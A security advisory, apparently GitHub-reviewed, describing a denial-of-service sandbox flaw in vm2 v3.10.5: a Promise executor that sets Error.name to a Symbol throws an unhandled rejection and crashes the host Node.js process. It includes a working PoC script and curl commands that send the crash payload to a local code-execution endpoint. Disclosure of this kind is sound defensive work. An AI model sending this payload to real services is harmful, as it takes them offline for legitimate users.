A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.
When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.
lib/setup-sandbox.js:38 — localPromise wraps the native Promise constructor but does not wrap the executor in try-catch.lib/setup-sandbox.js:165-230 — resetPromiseSpecies and the .then()/.catch() overrides sanitize the onRejected callback chains, but do not intercept unhandled rejections originating from the executor itself.The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.
Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.
allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is guaranteed to be unhandled — making allowAsync: false paradoxically more dangerous than true for this vulnerability.
Library-level PoC (Node.js script — primary):
const { VM } = require("vm2");
// Works with ANY allowAsync setting — both true and false
const vm = new VM({ timeout: 5000, allowAsync: false });
try {
const result = vm.run(`
new Promise(function(r, j) {
var e = new Error();
e.name = Symbol();
e.stack;
});
`);
console.log("Result:", result); // Reaches here (returns Promise object)
} catch (err) {
console.log("Caught:", err); // Never executed
}
console.log("After try-catch"); // Also prints normally
// But on the next microtask tick:
// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]
// Exit code: 1
//
// try-catch cannot help — vm.run() returns synchronously,
// the rejection fires asynchronously outside any catch scope.
//
// NOTE: allowAsync: false only blocks async/await syntax and
// .then()/.catch() method calls. The Promise constructor itself
// still executes, and the unhandled rejection still propagates.
// In fact, allowAsync: false makes it WORSE — .catch() is blocked,
// so the rejection is guaranteed to be unhandled.
HTTP demonstration (web service impact):
# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
-X POST -H "Content-Type: application/json" \
-d '{"code":"\"alive\""}'
# => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}
# 2. Send payload — server process will crash
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'
# 3. Server is dead (connection refused until restart)
curl -s http://localhost:3000/ # => connection refused
curl request caused the Docker container to restart (confirmed via StartedAt timestamp change), and sending the next request immediately after restart triggered another crash. This creates a continuous denial-of-service loop where the service never becomes available to legitimate users — each restart is met with another crash before any real request can be served.allowAsync setting. allowAsync: false only blocks async/await syntax and .then()/.catch() method calls — the Promise constructor itself still executes, and the unhandled rejection still propagates. In fact, allowAsync: false makes the vulnerability worse because .catch() is blocked, guaranteeing the rejection is always unhandled.{
"github_reviewed": true,
"cwe_ids": [
"CWE-248"
],
"severity": "HIGH",
"github_reviewed_at": "2026-05-07T04:10:29Z",
"nvd_published_at": null
}